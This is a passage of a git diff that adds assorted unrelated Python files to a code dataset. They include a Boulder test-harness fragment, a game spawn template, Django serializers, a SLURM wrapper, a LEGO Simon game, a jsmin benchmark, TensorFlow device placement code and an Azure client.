boulder-rabbitmq:5672""" + p = subprocess.Popen(cmd, shell=True) + p.cmd = cmd + print('started %s with pid %d' % (p.cmd, p.pid)) + global processes + processes.insert(0, p) + +def bounce_forward(): + """Kill all forwarded TCP connections.""" + global processes + processes[0].send_signal(signal.SIGUSR1) + +def check(): + """Return true if all started processes are still alive. + + Log about anything that died. + """ + global processes + busted = [] + stillok = [] + for p in processes: + if p.poll() is None: + stillok.append(p) + else: + busted.append(p) + if busted: + print "\n\nThese processes exited early (check above for their output):" + for p in busted: + print "\t'%s' with pid %d exited %d" % (p.cmd, p.pid, p.returncode) + processes = stillok + return not busted + + +@atexit.register +def stop(): + # When we are about to exit, send SIGKILL to each subprocess and wait for + # them to nicely die. This reflects the restart process in prod and allows + # us to exercise the graceful shutdown code paths. + # TODO(jsha): Switch to SIGTERM once we fix + # https://github.com/letsencrypt/boulder/issues/2410 and remove AMQP, to + # make shutdown less noisy. + for p in processes: + if p.poll() is None: + p.send_signal(signal.SIGKILL) + for p in processes: + p.wait() diff --git a/pool/shard008/Python/0077837_giant_sand_beetle.py b/pool/shard008/Python/0077837_giant_sand_beetle.py new file mode 100644 index 0000000000000000000000000000000000000000..e9d6a0e4aacc2ee6b8a9e263a849a0d0b9b486d4 --- /dev/null +++ b/pool/shard008/Python/0077837_giant_sand_beetle.py @@ -0,0 +1,47 @@ +import sys +from services.spawn import MobileTemplate +from services.spawn import WeaponTemplate +from resources.datatables import WeaponType +from resources.datatables import Difficulty +from resources.datatables import Options +from java.util import Vector + + +def addTemplate(core): + mobileTemplate = MobileTemplate() + + mobileTemplate.setCreatureName('giant_sand_beetle') + mobileTemplate.setLevel(25) + mobileTemplate.setDifficulty(Difficulty.NORMAL) + + mobileTemplate.setMinSpawnDistance(4) + mobileTemplate.setMaxSpawnDistance(8) + mobileTemplate.setDeathblow(True) + mobileTemplate.setScale(1) + mobileTemplate.setMeatType("Insect Meat") + mobileTemplate.setMeatAmount(15) + mobileTemplate.setHideType("Scaley Hide") + mobileTemplate.setHideAmount(20) + mobileTemplate.setSocialGroup("giant sand beetle") + mobileTemplate.setAssistRange(10) + mobileTemplate.setStalker(False) + mobileTemplate.setOptionsBitmask(Options.AGGRESSIVE | Options.ATTACKABLE) + + templates = Vector() + templates.add('object/mobile/shared_giant_sand_beetle.iff') + mobileTemplate.setTemplates(templates) + + weaponTemplates = Vector() + weapontemplate = WeaponTemplate('object/weapon/melee/unarmed/shared_unarmed_default.iff', WeaponType.UNARMED, 1.0, 6, 'kinetic') + weaponTemplates.add(weapontemplate) + mobileTemplate.setWeaponTemplateVector(weaponTemplates) + + attacks = Vector() + attacks.add('bm_bite_2') + attacks.add('bm_bolster_armor_2') + attacks.add('bm_enfeeble_2') + mobileTemplate.setDefaultAttack('creatureMeleeAttack') + mobileTemplate.setAttacks(attacks) + + core.spawnService.addMobileTemplate('giant_sand_beetle', mobileTemplate) + return \ No newline at end of file diff --git a/pool/shard008/Python/0077841_chosen_tags_widget.py b/pool/shard008/Python/0077841_chosen_tags_widget.py new file mode 100644 index 0000000000000000000000000000000000000000..ca5f7f9d089bdb4dedd47ed0887450375f6a3067 --- /dev/null +++ b/pool/shard008/Python/0077841_chosen_tags_widget.py @@ -0,0 +1,75 @@ +import asyncio + +import urwid + +from booru_toolkit.plugin import PluginBase +from booru_toolkit.upload import common +from booru_toolkit.upload.ui.ellipsis_text_layout import EllipsisTextLayout +from booru_toolkit.upload.ui.vim_list_box import VimListBox + + +class ChosenTagsListBox(VimListBox): + def __init__( + self, chosen_tags: common.TagList, plugin: PluginBase + ) -> None: + super().__init__(urwid.SimpleListWalker([])) + self._chosen_tags = chosen_tags + self._plugin = plugin + self.schedule_update() + + def keypress(self, size: tuple[int, int], key: str) -> str | None: + keymap = {"d": self._delete_selected, "delete": self._delete_selected} + if key in keymap: + keymap[key]() + self._cancel_num() + return None + return super().keypress(size, key) + + def schedule_update(self) -> None: + asyncio.ensure_future(self.update()) + + async def update(self) -> None: + new_list: list[urwid.Widget] = [] + for tag in self._chosen_tags.get_all(): + if tag.source == common.TagSource.Implication: + attr_name = "implied-tag" + elif tag.source == common.TagSource.Initial: + attr_name = "initial-tag" + elif not await self._plugin.tag_exists(tag.name): + attr_name = "new-tag" + else: + attr_name = "tag" + tag_usage_count = await self._plugin.get_tag_usage_count(tag.name) + + columns_widget = urwid.Columns( + [ + ( + urwid.Text( + common.box_to_ui(tag.name), + align=urwid.LEFT, + wrap=urwid.CLIP, + layout=EllipsisTextLayout(), + ) + ), + (urwid.PACK, urwid.Text(str(tag_usage_count))), + ], + dividechars=1, + ) + setattr(columns_widget, "tag", tag) + new_list.append( + urwid.AttrWrap(columns_widget, attr_name, "f-" + attr_name) + ) + list.clear(self.body) + self.body.extend(new_list) + + def focus_tag(self, tag_name: str) -> None: + for i, widget in enumerate(self.body): + if widget.contents[0][0].text == tag_name: + self._focus = i + + def _delete_selected(self) -> None: + old_focused_item = self._focus + self._chosen_tags.delete(self.body.get_focus()[0].tag) + self.schedule_update() + self._focus = old_focused_item + self._invalidate() diff --git a/pool/shard008/Python/0077843_serializers.py b/pool/shard008/Python/0077843_serializers.py new file mode 100644 index 0000000000000000000000000000000000000000..dd12d7709ddb284a1f1b0a0d69308a06908f48ae --- /dev/null +++ b/pool/shard008/Python/0077843_serializers.py @@ -0,0 +1,73 @@ +# -*- coding: utf-8 -*- + +from django.contrib.auth import get_user_model + +from rest_framework import serializers + +from fuzzy_modeling.models import SystemModel, InputVariableModel, \ + OutputVariableModel, DefuzzifyModel + + +User = get_user_model() + + +class UserSerializer(serializers.HyperlinkedModelSerializer): + url = serializers.HyperlinkedIdentityField( + view_name='user-detail', + lookup_field='username' + ) + # systems = serializers.HyperlinkedIdentityField( + # 'systems', + # view_name='usersystem-list', + # lookup_field='username' + # ) + + class Meta: + model = User + fields = ('id', 'url', 'username', 'first_name', 'last_name') + + +class SystemModelSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.HyperlinkedRelatedField(view_name='user-detail', + lookup_field='username') + + html_template = serializers.HyperlinkedIdentityField( + view_name='systemmodel-html-template', + format='html' + ) + + def get_validation_exclusions(self): + # Need to exclude `user` + # since we'll add that later based off the request + exclusions = super(SystemModelSerializer, self).get_validation_exclusions() + return exclusions + ['user'] + + class Meta: + model = SystemModel + fields = ( + 'id', + 'url', + 'name', + 'description', + 'user', + 'inputvariablemodel_set', + 'html_template' + ) + + +class InputVariableModelSerializer(serializers.HyperlinkedModelSerializer): + + class Meta: + model = InputVariableModel + + +class OutputVariableModelSerializer(serializers.HyperlinkedModelSerializer): + + class Meta: + model = OutputVariableModel + + +class DefuzzifyModelSerializer(serializers.HyperlinkedModelSerializer): + + class Meta: + model = DefuzzifyModel diff --git a/pool/shard008/Python/0077848_wrap_downscaler_cmip5_slurm_epscor_sc_pr_nofix.py b/pool/shard008/Python/0077848_wrap_downscaler_cmip5_slurm_epscor_sc_pr_nofix.py new file mode 100644 index 0000000000000000000000000000000000000000..522b3db706692dec83fcd92580c29db179cfd4ce --- /dev/null +++ b/pool/shard008/Python/0077848_wrap_downscaler_cmip5_slurm_epscor_sc_pr_nofix.py @@ -0,0 +1,45 @@ +# # # # # +# wrap downscaler for running on slurm +# # # # # +def run_model( fn, base_dir, variable, model, scenario, units, metric ): + import os, subprocess + head = '#!/bin/sh\n' + \ + '#SBATCH --ntasks=32\n' + \ + '#SBATCH --nodes=1\n' + \ + '#SBATCH --ntasks-per-node=32\n' + \ + '#SBATCH --account=snap\n' + \ + '#SBATCH --mail-type=FAIL\n' + \ + '#SBATCH --mail-user=malindgren@alaska.edu\n' + \ + '#SBATCH -p main\n' + + script_path = '/workspace/UA/malindgren/repos/downscale/snap_scripts/epscor_sc/downscale_cmip5_epscor_sc_pr_nofix.py' + with open( fn, 'w' ) as f: + command = ' '.join([ 'ipython', script_path,\ + '--', '-b', base_dir, '-m', model, '-v', variable, '-s', scenario, '-u', units, '-met', metric ]) + f.writelines( head + "\n" + command + '\n' ) + subprocess.call([ 'sbatch', fn ]) + return 1 + +if __name__ == '__main__': + import os, glob, itertools, subprocess + + base_dir = '/workspace/Shared/Tech_Projects/EPSCoR_Southcentral/project_data' + models = [ 'GFDL-CM3', 'IPSL-CM5A-LR', 'MRI-CGCM3', 'GISS-E2-R', 'CCSM4' ] + variables = [ 'pr' ] + scenarios = [ 'historical', 'rcp26', 'rcp45', 'rcp60', 'rcp85' ] + + path = os.path.join( base_dir,'downscaled_pr_nofix','slurm_log' ) + if not os.path.exists( path ): + os.makedirs( path ) + + os.chdir( path ) + for variable, model, scenario in itertools.product( variables, models, scenarios ): + if variable == 'pr': + units = 'mm' + metric = 'total' + else: + units = 'C' + metric = 'mean' + + fn = os.path.join( path, 'slurm_run_downscaler_'+'_'.join([variable, model, scenario])+'.slurm' ) + _ = run_model( fn, base_dir, variable, model, scenario, units, metric ) diff --git a/pool/shard008/Python/0077854_colour_simon.py b/pool/shard008/Python/0077854_colour_simon.py new file mode 100644 index 0000000000000000000000000000000000000000..ad5863cbdec2ed64a426808574852b703544cc4c --- /dev/null +++ b/pool/shard008/Python/0077854_colour_simon.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +# coding=utf-8 +# Colour Simon +# By Mike Cook March 2019 + +import time, random, os +from pylgbst import * +#import pylgbst +from pylgbst.movehub import MoveHub +from espeak import espeak # sudo apt install python3-espeak +espeak.set_voice = 'en' + +random.seed() +shutDown = False +lastColour = 255 ; updateColour = 0 +maxLength = 25 # maximum sequence before we decide you are cheating +sequence = [ random.randint(0,3) for c in range(0,maxLength)] +maxFails = 3 # number of fails before game ends +playingColours = ["blue","green","yellow","red","white","black"] +translateColours = [5,5,5,0,5,1,5,2,5,3,4] +playingToLego = [3,5,7,9,10,0] + +def main(): + global shutDown, movehub + print("Colour tile Simon - press the green hub button to connect") + conn=get_connection_auto() + print("Trying to connect Hub") + try: + movehub = MoveHub(conn) + print("Hub now connected - press Green button to end") + init() + espeak.synth("Colour Simon game") + time.sleep(1) + while not shutDown: + fail = 0 # number of fails + #generate new sequence + for c in range(0,maxLength): + sequence[c] = random.randint(0,4) #use five colours + far = 2 + while fail < maxFails and not shutDown: # number of fail attempts before reset + print("a sequence of length",far) + saySeq(far) + if getSeq(far) != -1 and not shutDown:# if entered sequence is correct + far = far + 1 + if far <= maxLength: + espeak.synth("yes") + print("Yes - now try a longer one") + time.sleep(1) + espeak.synth("adding one more") + time.sleep(1) + fail = 0 # reset number of fails + else: + if not shutDown: + fail = fail +1 + print("Wrong",fail,"fail") + if fail < maxFails: + espeak.synth("no") + print("try that one again") + espeak.synth("try that one again") + else : + print("maximum tries exceeded") + espeak.synth("maximum tries exceeded") + time.sleep(2) + espeak.synth("your score is") + time.sleep(1) + espeak.synth(str(far- 1)) + time.sleep(1.5) + if far > maxLength and not shutDown: + print("Well done Master Mind") + espeak.synth("this is too easy for you") + shutDown = True + if not shutDown: + espeak.synth("Game over") + print("Game over - Your score is",far-1) + print("Try again") + time.sleep(2.0) + else: + espeak.synth("closing down good bye") + + finally: + print("shutting down") + movehub.button.unsubscribe(call_button) + movehub.color_distance_sensor.unsubscribe(callback_colour) + conn.disconnect() + +def init(): + movehub.led.set_color(playingToLego[5]) + movehub.button.subscribe(call_button) + movehub.color_distance_sensor.subscribe(callback_colour, granularity=0) + +def getTile(): + global lastColour, updateColour + while updateColour < 3 : + if shutDown: + return 5 + #print("colour",playingColours[correctColour(lastColour)]) + updateColour = 0 + espeak.synth(playingColours[correctColour(lastColour)]) + movehub.led.set_color(playingToLego[correctColour(lastColour)]) # turn on LED + return correctColour(lastColour) + +def saySeq(length): + for num in range(0,length): + espeak.synth(playingColours[sequence[num]]) + movehub.led.set_color(playingToLego[sequence[num]]) + time.sleep(0.8) # time between saying colour + movehub.led.set_color(playingToLego[5]) + time.sleep(0.5) + +def getSeq(length): + movehub.led.set_color(playingToLego[5]) # turn off LED + espeak.synth("Now you try") + print("Now you try") + for press in range(0, length): + if shutDown: + return 1 + attempt = getTile() + movehub.led.set_color(playingToLego[5]) # turn off LED + if attempt != sequence[press]: + time.sleep(0.8) + return -1 + return 1 + +def callback_colour(colour, distance): + global lastColour, updateColour + if distance <= 1.2: + if colour != 255 and lastColour != colour and colour!= 0: # ignore no colour + updateColour += 1 + #print(colour) + if updateColour > 2 : + lastColour = colour + if colour == 255 : + lastColour = 255 + else: + lastColour = 255 + +def correctColour(colour): # translate LEGO colours to playing colours + if colour == 255: + correctColour = 5 # black + else: + correctColour = translateColours[colour] + return correctColour + +def call_button(is_pressed): + global shutDown, updateColour + if not is_pressed : + print("Closing Down") + shutDown = True + updateColour = 0 + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077856_main.py b/pool/shard008/Python/0077856_main.py new file mode 100644 index 0000000000000000000000000000000000000000..76d495142f535214bcaf04cbac966f6eb59d9f9e --- /dev/null +++ b/pool/shard008/Python/0077856_main.py @@ -0,0 +1,235 @@ +#!/usr/bin/env python +# -*- coding: ascii -*- +r""" +================================= + Benchmark jsmin implementations +================================= + +Benchmark jsmin implementations. + +:Copyright: + + Copyright 2011 - 2015 + Andr\xe9 Malo or his licensors, as applicable + +:License: + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + +Usage:: + + python -mbench.main [-c COUNT] [-p file] jsfile ... + + -c COUNT number of runs per jsfile and minifier. Defaults to 10. + -p file File to write the benchmark results in (pickled) + +""" +from __future__ import print_function +if __doc__: + __doc__ = __doc__.encode('ascii').decode('unicode_escape') +__author__ = r"Andr\xe9 Malo".encode('ascii').decode('unicode_escape') +__docformat__ = "restructuredtext en" +__license__ = "Apache License, Version 2.0" +__version__ = "1.0.0" + +import sys as _sys +import time as _time + +import_notes = [] +class jsmins(object): + from bench import jsmin as p_01_simple_port + if _sys.version_info >= (2, 4): + from bench import jsmin_2_0_9 as p_02_jsmin_2_0_9 + else: + import_notes.append( + "jsmin_2_0_9 available for python 2.4 and later..." + ) + print(import_notes[-1]) + + import rjsmin as p_05_rjsmin + try: + import _rjsmin as p_06__rjsmin + except ImportError: + import_notes.append("_rjsmin (C-Port) not available") + print(import_notes[-1]) +jsmins.p_05_rjsmin.jsmin = jsmins.p_05_rjsmin._make_jsmin( + python_only=True +) +print("Python Release: %s" % ".".join(map(str, _sys.version_info[:3]))) +print("") + + +def slurp(filename): + """ Load a file """ + fp = open(filename) + try: + return fp.read() + finally: + fp.close() + + +def print_(*value, **kwargs): + """ Print stuff """ + (kwargs.get('file') or _sys.stdout).write( + ''.join(value) + kwargs.get('end', '\n') + ) + + +def bench(filenames, count): + """ + Benchmark the minifiers with given javascript samples + + :Parameters: + `filenames` : sequence + List of filenames + + `count` : ``int`` + Number of runs per js file and minifier + + :Exceptions: + - `RuntimeError` : empty filenames sequence + """ + if not filenames: + raise RuntimeError("Missing files to benchmark") + try: + xrange + except NameError: + xrange = range + try: + cmp + except NameError: + cmp = lambda a, b: (a > b) - (a < b) + + ports = [item for item in dir(jsmins) if item.startswith('p_')] + ports.sort() + space = max(map(len, ports)) - 4 + ports = [(item[5:], getattr(jsmins, item).jsmin) for item in ports] + flush = _sys.stdout.flush + + struct = [] + inputs = [(filename, slurp(filename)) for filename in filenames] + for filename, script in inputs: + print_("Benchmarking %r..." % filename, end=" ") + flush() + outputs = [] + for _, jsmin in ports: + try: + outputs.append(jsmin(script)) + except (SystemExit, KeyboardInterrupt): + raise + except: + outputs.append(None) + struct.append(dict( + filename=filename, + sizes=[ + (item is not None and len(item) or None) for item in outputs + ], + size=len(script), + messages=[], + times=[], + )) + print_("(%.1f KiB)" % (struct[-1]['size'] / 1024.0,)) + flush() + times = [] + for idx, (name, jsmin) in enumerate(ports): + if outputs[idx] is None: + print_(" FAILED %s" % (name,)) + struct[-1]['times'].append((name, None)) + else: + print_(" Timing %s%s... (%5.1f KiB %s)" % ( + name, + " " * (space - len(name)), + len(outputs[idx]) / 1024.0, + idx == 0 and '*' or ['=', '>', '<'][ + cmp(len(outputs[idx]), len(outputs[0])) + ], + ), end=" ") + flush() + + xcount = count + while True: + counted = [None for _ in xrange(xcount)] + start = _time.time() + for _ in counted: + jsmin(script) + end = _time.time() + result = (end - start) * 1000 + if result < 10: # avoid measuring within the error range + xcount *= 10 + continue + times.append(result / xcount) + break + + print_("%8.2f ms" % times[-1], end=" ") + flush() + if len(times) <= 1: + print_() + else: + print_("(factor: %s)" % (', '.join([ + '%.2f' % (timed / times[-1]) for timed in times[:-1] + ]))) + struct[-1]['times'].append((name, times[-1])) + + flush() + print_() + + return struct + + +def main(argv=None): + """ Main """ + import getopt as _getopt + import os as _os + import pickle as _pickle + + if argv is None: + argv = _sys.argv[1:] + try: + opts, args = _getopt.getopt(argv, "hc:p:", ["help"]) + except getopt.GetoptError: + e = _sys.exc_info()[0](_sys.exc_info()[1]) + print( + "%s\nTry %s -mbench.main --help" % ( + e, + _os.path.basename(_sys.executable), + ), file=_sys.stderr) + _sys.exit(2) + + count, pickle = 10, None + for key, value in opts: + if key in ("-h", "--help"): + print( + "%s -mbench.main [-c count] [-p file] cssfile ..." % ( + _os.path.basename(_sys.executable), + ), file=_sys.stderr) + _sys.exit(0) + elif key == '-c': + count = int(value) + elif key == '-p': + pickle = str(value) + + struct = bench(args, count) + if pickle: + fp = open(pickle, 'wb') + try: + fp.write(_pickle.dumps(( + ".".join(map(str, _sys.version_info[:3])), + import_notes, + struct, + ), 0)) + finally: + fp.close() + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077857_device_setter.py b/pool/shard008/Python/0077857_device_setter.py new file mode 100644 index 0000000000000000000000000000000000000000..37ab625779f788b1b8e270a15db3244ea6f1bef3 --- /dev/null +++ b/pool/shard008/Python/0077857_device_setter.py @@ -0,0 +1,214 @@ +# Copyright 2015 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Device function for replicated training.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import six + +from tensorflow.core.framework import node_def_pb2 +from tensorflow.python.framework import device as pydev +from tensorflow.python.platform import tf_logging as logging +from tensorflow.python.training import server_lib + + +class _RoundRobinStrategy(object): + """Returns the next ps task index for placement in round-robin order. + + This class is not to be used directly by users. See instead + `replica_device_setter()` below. + """ + + def __init__(self, num_tasks): + """Create a new `_RoundRobinStrategy`. + + Args: + num_tasks: Number of ps tasks to cycle among. + """ + self._num_tasks = num_tasks + self._next_task = 0 + + def __call__(self, unused_op): + """Choose a ps task index for the given `Operation`. + + Args: + unused_op: An `Operation` to be placed on ps. + + Returns: + The next ps task index to use for the `Operation`. Returns the next + index, in the range `[offset, offset + num_tasks)`. + """ + task = self._next_task + self._next_task = (self._next_task + 1) % self._num_tasks + return task + + +class _ReplicaDeviceChooser(object): + """Class to choose devices for Ops in a replicated training setup. + + This class is not to be used directly by users. See instead + `replica_device_setter()` below. + """ + + def __init__(self, ps_tasks, ps_device, worker_device, merge_devices, ps_ops, + ps_strategy): + """Create a new `_ReplicaDeviceChooser`. + + Args: + ps_tasks: Number of tasks in the `ps` job. + ps_device: String. Name of the `ps` job. + worker_device: String. Name of the `worker` job. + merge_devices: Boolean. Set to True to allow merging of device specs. + ps_ops: List of strings representing `Operation` types that need to be + placed on `ps` devices. + ps_strategy: A callable invoked for every ps `Operation` (i.e. matched by + `ps_ops`), that takes the `Operation` and returns the ps task index to + use. + """ + self._ps_tasks = ps_tasks + self._ps_device = ps_device + self._worker_device = worker_device + self._merge_devices = merge_devices + self._ps_ops = ps_ops + self._ps_strategy = ps_strategy + + def device_function(self, op): + """Choose a device for `op`. + + Args: + op: an `Operation`. + + Returns: + The device to use for the `Operation`. + """ + # If we don't return early here, either merge_devices is True, or op.device + # is empty (in which case merging is a no-op). So we can always merge below. + if not self._merge_devices and op.device: + return op.device + + current_device = pydev.DeviceSpec.from_string(op.device or "") + + # The ps_device will be used for specified ops (ps_ops) whenever it is + # present and ps_tasks is non-zero. However, its task number will only be + # set (using ps_strategy) if there is a job field in ps_device that won't be + # changed by the job field (if present) in current_device. + node_def = op if isinstance(op, node_def_pb2.NodeDef) else op.node_def + if self._ps_tasks and self._ps_device and node_def.op in self._ps_ops: + ps_device = pydev.DeviceSpec.from_string(self._ps_device) + + current_job, ps_job = current_device.job, ps_device.job + if ps_job and (not current_job or current_job == ps_job): + ps_device.task = self._ps_strategy(op) + + ps_device.merge_from(current_device) + return ps_device.to_string() + + worker_device = pydev.DeviceSpec.from_string(self._worker_device or "") + worker_device.merge_from(current_device) + return worker_device.to_string() + + +def replica_device_setter(ps_tasks=0, ps_device="/job:ps", + worker_device="/job:worker", merge_devices=True, + cluster=None, ps_ops=None, ps_strategy=None): + """Return a `device function` to use when building a Graph for replicas. + + Device Functions are used in `with tf.device(device_function):` statement to + automatically assign devices to `Operation` objects as they are constructed, + Device constraints are added from the inner-most context first, working + outwards. The merging behavior adds constraints to fields that are yet unset + by a more inner context. Currently the fields are (job, task, cpu/gpu). + + If `cluster` is `None`, and `ps_tasks` is 0, the returned function is a no-op. + Otherwise, the value of `ps_tasks` is derived from `cluster`. + + By default, only Variable ops are placed on ps tasks, and the placement + strategy is round-robin over all ps tasks. A custom `ps_strategy` may be used + to do more intelligent placement, such as + `tf.contrib.training.GreedyLoadBalancingStrategy`. + + For example, + + ```python + # To build a cluster with two ps jobs on hosts ps0 and ps1, and 3 worker + # jobs on hosts worker0, worker1 and worker2. + cluster_spec = { + "ps": ["ps0:2222", "ps1:2222"], + "worker": ["worker0:2222", "worker1:2222", "worker2:2222"]} + with tf.device(tf.train.replica_device_setter(cluster=cluster_spec)): + # Build your graph + v1 = tf.Variable(...) # assigned to /job:ps/task:0 + v2 = tf.Variable(...) # assigned to /job:ps/task:1 + v3 = tf.Variable(...) # assigned to /job:ps/task:0 + # Run compute + ``` + + Args: + ps_tasks: Number of tasks in the `ps` job. Ignored if `cluster` is + provided. + ps_device: String. Device of the `ps` job. If empty no `ps` job is used. + Defaults to `ps`. + worker_device: String. Device of the `worker` job. If empty no `worker` + job is used. + merge_devices: `Boolean`. If `True`, merges or only sets a device if the + device constraint is completely unset. merges device specification rather + than overriding them. + cluster: `ClusterDef` proto or `ClusterSpec`. + ps_ops: List of strings representing `Operation` types that need to be + placed on `ps` devices. If `None`, defaults to + `["Variable", "VariableV2", "VarHandleOp"]`. + ps_strategy: A callable invoked for every ps `Operation` (i.e. matched by + `ps_ops`), that takes the `Operation` and returns the ps task index to + use. If `None`, defaults to a round-robin strategy across all `ps` + devices. + + Returns: + A function to pass to `tf.device()`. + + Raises: + TypeError if `cluster` is not a dictionary or `ClusterDef` protocol buffer, + or if `ps_strategy` is provided but not a callable. + """ + if cluster is not None: + if isinstance(cluster, server_lib.ClusterSpec): + cluster_spec = cluster.as_dict() + else: + cluster_spec = server_lib.ClusterSpec(cluster).as_dict() + # Get ps_job_name from ps_device by stripping "/job:". + ps_job_name = pydev.DeviceSpec.from_string(ps_device).job + if ps_job_name not in cluster_spec or cluster_spec[ps_job_name] is None: + return None + ps_tasks = len(cluster_spec[ps_job_name]) + + if ps_tasks == 0: + return None + + if ps_ops is None: + # TODO(sherrym): Variables in the LOCAL_VARIABLES collection should not be + # placed in the parameter server. + ps_ops = ["Variable", "VariableV2", "VarHandleOp"] + + if not merge_devices: + logging.warning( + "DEPRECATION: It is recommended to set merge_devices=true in " + "replica_device_setter") + if ps_strategy is None: + ps_strategy = _RoundRobinStrategy(ps_tasks) + if not six.callable(ps_strategy): + raise TypeError("ps_strategy must be callable") + chooser = _ReplicaDeviceChooser( + ps_tasks, ps_device, worker_device, merge_devices, ps_ops, ps_strategy) + return chooser.device_function diff --git a/pool/shard008/Python/0077858_urls.py b/pool/shard008/Python/0077858_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..fc4cf6f7df1c68fbcdfe23cb7be1b237ae893364 --- /dev/null +++ b/pool/shard008/Python/0077858_urls.py @@ -0,0 +1,10 @@ +from django.conf.urls.defaults import url, patterns + +from cyder.cydhcp.urls import cydhcp_urls +from cyder.cydhcp.workgroup.views import workgroup_detail, search + +urlpatterns = cydhcp_urls('workgroup') + patterns( + '', + url(r'^search/', search, name='workgroup-search'), + url(r'^(?P[\w-]+)/$', workgroup_detail, name='workgroup-detail'), +) diff --git a/pool/shard008/Python/0077867_colorbutton.py b/pool/shard008/Python/0077867_colorbutton.py new file mode 100644 index 0000000000000000000000000000000000000000..ecc02c0c64a9b9586fc942e7e665817448c0b164 --- /dev/null +++ b/pool/shard008/Python/0077867_colorbutton.py @@ -0,0 +1,36 @@ +from PyQt4.QtGui import QToolButton, QPainter, QPixmap, QPen, QColor, QColorDialog, QIcon +from PyQt4.QtCore import SIGNAL, QRect + +class ColorButton(QToolButton): + def __init__(self, *args): + QToolButton.__init__(self, *args) + self._color = QColor() + self.connect(self, SIGNAL("clicked()"), self.selectColor) + + def color(self): + return self._color + + def setColor(self, color): + self._color = color + self.updateColor() + + def updateColor(self): + iconSize = self.iconSize() + width = iconSize.width() + height = iconSize.height() + pixmap = QPixmap(iconSize) + pixmap.fill(self._color) + painter = QPainter() + painter.begin(pixmap) + painter.setPen(QPen(QColor("#777777"))) + painter.drawRect(QRect(0, 0, width - 1, height - 1)) + painter.end() + self.setIcon(QIcon(pixmap)) + + def selectColor(self): + self.setChecked(True) + color = QColorDialog.getColor(self._color) + self.setChecked(False) + if color != self._color: + self.setColor(color) + self.emit(SIGNAL("colorChanged()")) \ No newline at end of file diff --git a/pool/shard008/Python/0077868_operations.py b/pool/shard008/Python/0077868_operations.py new file mode 100644 index 0000000000000000000000000000000000000000..b32b313e78162036054bb4437320e0e3a96a7fad --- /dev/null +++ b/pool/shard008/Python/0077868_operations.py @@ -0,0 +1,109 @@ +# coding=utf-8 +# -------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# Code generated by Microsoft (R) AutoRest Code Generator. +# Changes may cause incorrect behavior and will be lost if the code is regenerated. +# -------------------------------------------------------------------------- +from typing import TYPE_CHECKING +import warnings + +from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error +from azure.core.paging import ItemPaged +from azure.core.pipeline import PipelineResponse +from azure.core.pipeline.transport import HttpRequest, HttpResponse +from azure.mgmt.core.exceptions import ARMErrorFormat + +from .. import models as _models + +if TYPE_CHECKING: + # pylint: disable=unused-import,ungrouped-imports + from typing import Any, Callable, Dict, Generic, Iterable, Optional, TypeVar + + T = TypeVar('T') + ClsType = Optional[Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any]] + +class Operations(object): + """Operations operations. + + You should not instantiate this class directly. Instead, you should create a Client instance that + instantiates it for you and attaches it as an attribute. + + :ivar models: Alias to model classes used in this operation group. + :type models: ~azure.mgmt.network.v2019_09_01.models + :param client: Client for service requests. + :param config: Configuration of service client. + :param serializer: An object model serializer. + :param deserializer: An object model deserializer. + """ + + models = _models + + def __init__(self, client, config, serializer, deserializer): + self._client = client + self._serialize = serializer + self._deserialize = deserializer + self._config = config + + def list( + self, + **kwargs # type: Any + ): + # type: (...) -> Iterable["_models.OperationListResult"] + """Lists all of the available Network Rest API operations. + + :keyword callable cls: A custom type or function that will be passed the direct response + :return: An iterator like instance of either OperationListResult or the result of cls(response) + :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2019_09_01.models.OperationListResult] + :raises: ~azure.core.exceptions.HttpResponseError + """ + cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationListResult"] + error_map = { + 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError + } + error_map.update(kwargs.pop('error_map', {})) + api_version = "2019-09-01" + accept = "application/json" + + def prepare_request(next_link=None): + # Construct headers + header_parameters = {} # type: Dict[str, Any] + header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') + + if not next_link: + # Construct URL + url = self.list.metadata['url'] # type: ignore + # Construct parameters + query_parameters = {} # type: Dict[str, Any] + query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') + + request = self._client.get(url, query_parameters, header_parameters) + else: + url = next_link + query_parameters = {} # type: Dict[str, Any] + request = self._client.get(url, query_parameters, header_parameters) + return request + + def extract_data(pipeline_response): + deserialized = self._deserialize('OperationListResult', pipeline_response) + list_of_elem = deserialized.value + if cls: + list_of_elem = cls(list_of_elem) + return deserialized.next_link or None, iter(list_of_elem) + + def get_next(next_link=None): + request = prepare_request(next_link) + + pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) + response = pipeline_response.http_response + + if response.status_code not in [200]: + map_error(status_code=response.status_code, response=response, error_map=error_map) + raise HttpResponseError(response=response, error_format=ARMErrorFormat) + + return pipeline_response + + return ItemPaged( + get_next, extract_data + ) + list.metadata = {'url': '/providers/Microsoft.Network/operations'} # type: ignore diff --git a/pool/shard008/Python/0077873_EC2Endpoint.py b/pool/shard008/Python/0077873_EC2Endpoint.py new file mode 100644 index 0000000000000000000000000000000000000000..546766506e26405f22dd8a32a30d33f2b19dc509 